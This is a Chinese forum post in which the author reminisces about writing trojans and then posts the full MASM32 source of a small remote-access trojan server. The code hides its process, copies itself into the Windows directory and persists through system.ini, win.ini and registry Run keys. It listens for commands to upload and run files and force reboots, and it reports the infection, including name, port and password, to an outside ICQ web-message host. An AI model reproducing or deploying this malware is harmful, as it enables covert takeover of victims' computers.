哈哈,有趣,我的书本是老师.
我不认识他,不过我和国内很多黑客,比如说PP,鹰派的皮鲁等都很熟,前几天还到PP的公司
玩了一趟(深圳永达).不过没听说过晓风残月.
黑洞2000的确是很简陋的练手作品,现在看起来简直土死了:例如,每次只能对一台电脑操作,
文件下载上传之类不支持断点,不支持局部网对局部网的连接,不支持摄像头,也不是驱动型
木马(这样一来很容易被人发现.注册表,进程等),不过在前几年来说还是可以用的.
我现在都不玩这个了,只是后来还是做了一个驱动型的.不过是为国安做的,签订了保密协议,
所以不能公布.不过初期都在网络上和杭州的一个网友黑人试验过摄像头传输和比特挪移,
后来被发现,强行签订了保密协议,#$@%^在功能上很多新特性是目前所有马都没有的,在防火
墙方面,也比进程插入先进的多.
关于程序体积,其实现在主程序的大小已经不是很重要了.有特殊的技术可以克服的.
不过如果非要很小,那么可以用32位汇编来写,很简单的,跟SDK差不多,就是调API.
下面是一个服务端的例子,编译后为11K,UPX处理后只有4.5KB
.386
.model flat, stdcall
include c:/slim/masm32/include/windows.inc
include c:/slim/masm32/include/kernel32.inc
includelib c:/slim/masm32/lib/kernel32.lib
include c:/slim/masm32/include/user32.inc
includelib c:/slim/masm32/lib/user32.lib
include c:/slim/masm32/include/wsock32.inc
includelib c:/slim/masm32/lib/wsock32.lib
include c:/slim/masm32/include/shell32.inc
includelib c:/slim/masm32/lib/shell32.lib
include c:/slim/masm32/include/advapi32.inc
includelib c:/slim/masm32/lib/advapi32.lib
include c:/slim/masm32/include/masm32.inc
includelib c:/slim/masm32/lib/masm32.lib
SendPass PROTO remoteaddr
WORD
SOCKADDR_IN STRUCT
sin_family WORD ?
sin_port WORD ?
sin_addr DWORD ?
sin_zero BYTE 8 dup (?)
SOCKADDR_IN ENDS
.data ;initialized variables
;hiding
kernel32 db 'kernel32.dll', 0
func db 'RegisterServiceProcess', 0
;icq notify
useicq db '123', 0
icqip db '205.188.147.55', 0
icqstr1 db 'GET /scripts/WWPMsg.dll?from=Asylum&fromemail=Asylum', 0
icqstr2 db '&subject=OnlineNotification&body=hey%20there,%20ive%20been%20committed...%20[name=', 0
icqstr3 db ']_[port=', 0
icqstr4 db ']_[password=', 0
icqstr5 db ']_[version=0.1]_[winver=', 0
icqstr6 db ']&to=', 0
endicq db ' HTTP/1.0', 0
uin db '1234567icq', 0
;socket stuff
saddrlen dw 16
db 16 dup (0)
;startup stuff
cpyname db 'wincmp32.exe', 0
sysini db 'system.ini', 0
winini db 'win.ini', 0
explorer db 'explorer.exe ', 0
boot db 'boot', 0
shell db 'shell', 0
windows db 'windows', 0
load db 'load', 0
run db 'run', 0
regkey db 'SOFTWARE/Microsoft/Windows/CurrentVersion/', 0
runkey db 'Run/', 0
runsrvkey db 'RunServices/', 0
runkeyname db 'RegistryKeyName1234567890', 0
runsrvname db 'RegistryKeyName1234567890', 0
regusername db 'RegistryKeyName1234567890', 0
pass db '123', 0
reguser db '123', 0
regrunstart db '123', 0
runsrvstart db '123', 0
sysinistart db '123', 0
winloadstart db '123', 0
winrunstart db '123', 0
;connection stuff
mainportis db '23432', 0
srvname db '12345678901234567vic', 0
password db '1234567890123456pass', 0
;misc
space db ' ', 0
question db '?', 0
leftbracket db '(', 0
rightbracket db ')', 0
quote db '"', 0
slash db '/', 0
truth db '123', 0
fals db '321', 0
na db 'n/a', 0
eol db 13, 10, 13, 10, 13, 10, 0
;os version
nt db 'NT', 0
ninefive db '95', 0
nineeight db '98', 0
;server commands
rqs db 'RQS', 0 ;request (to connect)
pas db 'PAS', 0 ;password
gnt db 'GNT', 0 ;granted
dny db 'DNY', 0 ;denied
die db 'DIE', 0 ;remove ye ol' server
upl db 'UPL', 0 ;upload
rbt db 'RBT', 0 ;reboot
wdr db 'WDR', 0 ;windows directory
sdr db 'SDR', 0 ;system directory
runcmd db 'RUN', 0 ;run file
inv db 'INV', 0 ;invalid command
.data? ;uninitialized variables
;buffers!
sendbuff db 1024 dup (?)
recvbuff db 1024 dup (?)
moobuff db 1024 dup (?)
uplbuff db 1024 dup (?)
runfilename db 128 dup (?)
sysiniloc db 128 dup (?)
wininiloc db 128 dup (?)
sysinistr db 128 dup (?)
wininistr db 128 dup (?)
regbuff db 128 dup (?)
exename db 128 dup (?)
windir db 128 dup (?)
sysdir db 128 dup (?)
parambuff db 128 dup (?)
cpystr db 128 dup (?)
uplfilename db 128 dup (?)
icqbuff db 256 dup (?)
passwd db 20 dup (?)
miscbuff db 16 dup (?)
fsize db 16 dup (?)
cmdbuff db 3 dup (?)
;socket stuff
mainsock dd ?
icqsock dd ?
sin SOCKADDR_IN<>
client SOCKADDR_IN<>
icqsin SOCKADDR_IN<>
wsadata WSADATA<>
;hiding
RSP dd ?
;os version
vinfo OSVERSIONINFO<>
;startup stuff
reghand dd ?
;thread stuff
icqthread DWORD ?
recvthread DWORD ?
;file transfer stuff
bytesdone dd ?
numbytes dd ?
buffread dd ?
buffwrite dd ?
uplfile dd ?
fsizeint dd ?
.code ;code starts here aye?
start:
invoke GetModuleHandle, offset kernel32
invoke GetProcAddress, eax, offset func
.if eax != 0
mov [RSP], eax
push 1
push 0
call RSP
.endif
invoke atodw, offset useicq
.if eax == 123
mov eax, offset ICQNotify
invoke CreateThread, NULL, NULL, eax, offset uin, 0, offset icqthread
invoke CloseHandle, eax
.endif
invoke GetCL, 0, offset exename
invoke GetWindowsDirectory, offset windir, sizeof windir
invoke lstrcpy, offset cpystr, offset windir
invoke lstrcat, offset cpystr, offset slash
invoke lstrcat, offset cpystr, offset cpyname
invoke CopyFile, offset exename, offset cpystr, 0
invoke atodw, offset sysinistart
.if eax == 123
invoke lstrcpy, offset sysiniloc, offset windir
invoke lstrcat, offset sysiniloc, offset slash
invoke lstrcat, offset sysiniloc, offset sysini
invoke lstrcpy, offset sysinistr, offset explorer
invoke lstrcat, offset sysinistr, offset cpyname
invoke WritePrivateProfileString, offset boot, offset shell, offset sysinistr, offset sysiniloc
.endif
invoke lstrcpy, offset wininiloc, offset windir
invoke lstrcat, offset wininiloc, offset slash
invoke lstrcat, offset wininiloc, offset winini
invoke lstrcpy, offset wininistr, offset cpystr
invoke atodw, offset winloadstart
.if eax == 123
invoke WritePrivateProfileString, offset windows, offset load, offset wininistr, offset wininiloc
.endif
invoke atodw, offset winrunstart
.if eax == 123
invoke WritePrivateProfileString, offset windows, offset run, offset wininistr, offset wininiloc
.endif
invoke atodw, offset regrunstart
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runkey
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, offset regbuff, 0, KEY_WRITE, offset reghand
invoke lstrlen, offset cpystr
invoke RegSetValueEx, reghand, offset runkeyname, 0, REG_SZ, offset cpystr, eax
invoke RegCloseKey, reghand
.endif
invoke atodw, offset runsrvstart
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runsrvkey
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, offset regbuff, 0, KEY_WRITE, offset reghand
invoke lstrlen, offset cpystr
invoke RegSetValueEx, reghand, offset runsrvname, 0, REG_SZ, offset cpystr, eax
invoke RegCloseKey, reghand
.endif
invoke atodw, offset reguser
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runkey
invoke RegOpenKeyEx, HKEY_CURRENT_USER, offset regbuff, 0, KEY_WRITE, offset reghand
invoke lstrlen, offset cpystr
invoke RegSetValueEx, reghand, offset regusername, 0, REG_SZ, offset cpystr, eax
invoke RegCloseKey, reghand
.endif
mainsock_listen:
invoke WSAStartup, 202h, offset wsadata
.if eax != NULL
invoke Sleep, 512
jmp mainsock_listen
.endif
invoke socket, PF_INET, SOCK_STREAM, 0
.if eax != INVALID_SOCKET
mov mainsock, eax
.else
invoke Sleep, 512
jmp mainsock_listen
.endif
mov sin.sin_family, PF_INET
invoke atodw, offset mainportis
invoke htons, eax
mov sin.sin_port, ax
mov sin.sin_addr, 0
invoke bind, mainsock, offset sin, sizeof sin
.if eax == SOCKET_ERROR
invoke closesocket, mainsock
invoke Sleep, 512
jmp mainsock_listen
.endif
acceptloop:
invoke listen, mainsock, SOMAXCONN
invoke accept, mainsock, offset client, offset saddrlen
.if eax != INVALID_SOCKET
mov edx, offset RecvData
invoke CreateThread, NULL, NULL, edx, eax, 0, offset recvthread
invoke CloseHandle, eax
.endif
jmp acceptloop
RecvData PROC remoteaddr
WORD
LOCAL authed
WORD
mov authed, 321
receiveloop:
.while 1
mov eax, 0
mov ecx, 1024
lea edi, recvbuff
rep stosb
mov eax, 0
mov ecx, 1024
lea edi, sendbuff
rep stosb
mov eax, 0
mov ecx, 128
lea edi, parambuff
rep stosb
invoke recv, remoteaddr, offset recvbuff, sizeof recvbuff, 0
.break .if eax == SOCKET_ERROR
.break .if eax == 0
invoke midstr, offset recvbuff, offset cmdbuff, 0, 3 ;cut off the command part
invoke lstrcmpi, offset cmdbuff, offset die ;kill server
.if eax == 0
.if authed == 123
invoke atodw, offset sysinistart
.if eax == 123
invoke WritePrivateProfileString, offset boot, offset shell, offset explorer, offset sysiniloc
.endif
invoke atodw, offset winloadstart
.if eax == 123
invoke WritePrivateProfileString, offset windows, offset load, offset space, offset wininiloc
.endif
invoke atodw, offset winrunstart
.if eax == 123
invoke WritePrivateProfileString, offset windows, offset run, offset space, offset wininiloc
.endif
invoke atodw, offset regrunstart
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runkey
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, offset regbuff, 0, KEY_WRITE, offset reghand
invoke RegDeleteValue, reghand, offset runkeyname
invoke RegCloseKey, reghand
.endif
invoke atodw, offset runsrvstart
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runsrvkey
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, offset regbuff, 0, KEY_WRITE, offset reghand
invoke RegDeleteValue, reghand, offset runsrvname
invoke RegCloseKey, reghand
.endif
invoke atodw, offset reguser
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runkey
invoke RegOpenKeyEx, HKEY_CURRENT_USER, offset regbuff, 0, KEY_WRITE, offset reghand
invoke RegDeleteValue, reghand, offset regusername
invoke RegCloseKey, reghand
.endif
invoke ExitProcess, 0
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset rbt ;reboot
.if eax == 0
.if authed == 123
.while 1
invoke ExitWindowsEx, EWX_SHUTDOWN or EWX_FORCE, NULL
invoke ExitWindowsEx, EWX_POWEROFF or EWX_FORCE, NULL
invoke ExitWindowsEx, EWX_REBOOT or EWX_FORCE, NULL
invoke ExitWindowsEx, EWX_LOGOFF or EWX_FORCE, NULL
.endw
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset wdr ;windows directory
.if eax == 0
.if authed == 123
invoke lstrcpy, offset sendbuff, offset wdr
invoke lstrcat, offset sendbuff, offset space
invoke lstrcat, offset sendbuff, offset windir
invoke lstrcat, offset sendbuff, offset slash
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset sdr
.if eax == 0
.if authed == 123
invoke GetSystemDirectory, offset sysdir, sizeof sysdir
invoke lstrcpy, offset sendbuff, offset wdr
invoke lstrcat, offset sendbuff, offset space
invoke lstrcat, offset sendbuff, offset sysdir
invoke lstrcat, offset sendbuff, offset slash
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset upl ;upload
.if eax == 0
.if authed == 123
invoke lstrcpy, offset moobuff, offset recvbuff
invoke InString, 1, offset recvbuff, offset question
dec eax
invoke lstr, offset recvbuff, offset parambuff, eax
invoke lstrcpy, offset uplfilename, offset parambuff
invoke midstr, offset uplfilename, offset uplfilename, 4, 128
invoke InString, 1, offset moobuff, offset question
invoke midstr, offset moobuff, offset fsize, eax, 128
invoke atodw, offset fsize
mov fsizeint, eax
invoke CreateFile, offset uplfilename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
mov uplfile, eax
.while 1
mov eax, 0
mov ecx, 1024
lea edi, uplbuff
rep stosb
invoke recv, remoteaddr, offset uplbuff, sizeof uplbuff, 0
.break .if eax == SOCKET_ERROR
.break .if eax == 0
mov buffread, eax
add bytesdone, eax
invoke WriteFile, uplfile, offset uplbuff, buffread, offset buffwrite, NULL
mov edx, fsizeint
.break .if edx == bytesdone
.endw
invoke CloseHandle, uplfile
.continue
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset runcmd ;run file
.if eax == 0
.if authed == 123
mov eax, 0
mov ecx, 128
lea edi, runfilename
rep stosb
invoke midstr, offset recvbuff, offset runfilename, 4, 128
invoke ShellExecute, NULL, NULL, offset runfilename, NULL, NULL, SW_SHOWNORMAL
.if eax > 32
invoke lstrcpy, offset sendbuff, offset runcmd
invoke lstrcat, offset sendbuff, offset space
invoke lstrcat, offset sendbuff, offset truth
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.else
invoke lstrcpy, offset sendbuff, offset runcmd
invoke lstrcat, offset sendbuff, offset space
invoke lstrcat, offset sendbuff, offset fals
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.endif
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset pas ;get password
.if eax == 0
mov eax, 0
mov ecx, 20
lea edi, passwd
rep stosb
invoke midstr, offset recvbuff, offset passwd, 4, 20
invoke lstrcmp, offset passwd, offset password
.if eax == 0
invoke lstrcpy, offset sendbuff, offset gnt
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
mov authed, 123
.continue
.else
invoke lstrcpy, offset sendbuff, offset dny
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
mov authed, 321
.break
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset rqs ;client wants to connect
.if eax == 0
invoke atodw, offset pass
.if eax == 123
invoke lstrcpy, offset sendbuff, offset pas
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.else
invoke lstrcpy, offset sendbuff, offset gnt
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
mov authed, 123
.continue
.endif
.endif
invoke lstrcpy, offset sendbuff, offset inv
invoke lstrcat, offset sendbuff, offset space
invoke lstrcat, offset sendbuff, offset quote
invoke lstrcat, offset sendbuff, offset cmdbuff
invoke lstrcat, offset sendbuff, offset quote
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.endw
invoke closesocket, remoteaddr
ret
RecvData ENDP
SendPass PROC remoteaddr
WORD
invoke lstrcpy, offset sendbuff, offset pas
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
ret
SendPass ENDP
ICQNotify PROC icqnumber
WORD
icq_notify:
mov eax, 0
mov ecx, 128
lea edi, icqbuff
rep stosb
invoke WSAStartup, 202h, offset wsadata
.if eax != NULL
invoke Sleep, 512
jmp icq_notify
.endif
invoke socket, PF_INET, SOCK_STREAM, 0
.if eax != INVALID_SOCKET
mov icqsock, eax
.else
invoke Sleep, 512
jmp icq_notify
.endif
mov icqsin.sin_family, PF_INET
invoke htons, 80
mov icqsin.sin_port, ax
invoke inet_addr, offset icqip
mov icqsin.sin_addr, eax
invoke connect, icqsock, offset icqsin, sizeof icqsin
.if eax == SOCKET_ERROR
invoke closesocket, icqsock
invoke Sleep, 512
jmp icq_notify
.endif
invoke lstrcpy, offset icqbuff, offset icqstr1
invoke lstrcat, offset icqbuff, offset icqstr2
invoke lstrcat, offset icqbuff, offset srvname
invoke lstrcat, offset icqbuff, offset icqstr3
invoke lstrcat, offset icqbuff, offset mainportis
invoke lstrcat, offset icqbuff, offset icqstr4
invoke atodw, offset pass
.if eax == 123
invoke lstrcat, offset icqbuff, offset password
.else
invoke lstrcat, offset icqbuff, offset na
.endif
invoke lstrcat, offset icqbuff, offset icqstr5
mov vinfo.dwOSVersionInfoSize, sizeof OSVERSIONINFO
invoke GetVersionEx, offset vinfo
.if vinfo.dwPlatformId == VER_PLATFORM_WIN32_NT
invoke lstrcat, offset icqbuff, offset nt
invoke dwtoa, vinfo.dwMajorVersion, offset miscbuff
invoke lstrcat, offset icqbuff, offset miscbuff
invoke lstrcat, offset icqbuff, offset leftbracket
invoke dwtoa, vinfo.dwBuildNumber, offset miscbuff
invoke lstrcat, offset icqbuff, offset miscbuff
invoke lstrcat, offset icqbuff, offset rightbracket
.else
.if vinfo. dwPlatformId == VER_PLATFORM_WIN32_WINDOWS
.if vinfo.dwMinorVersion == 0
invoke lstrcat, offset icqbuff, offset ninefive
.else
invoke lstrcat, offset icqbuff, offset nineeight
.endif
.endif
.endif
invoke lstrcat, offset icqbuff, offset icqstr6
invoke lstrcat, offset icqbuff, icqnumber
invoke lstrcat, offset icqbuff, offset endicq
invoke lstrcat, offset icqbuff, offset eol
invoke lstrlen, offset icqbuff
invoke send, icqsock, offset icqbuff, eax, 0
.if eax == SOCKET_ERROR
invoke closesocket, icqsock
invoke Sleep, 512
jmp icq_notify
.endif
invoke closesocket, icqsock
ret
ICQNotify ENDP
invoke ExitProcess, 0
end start
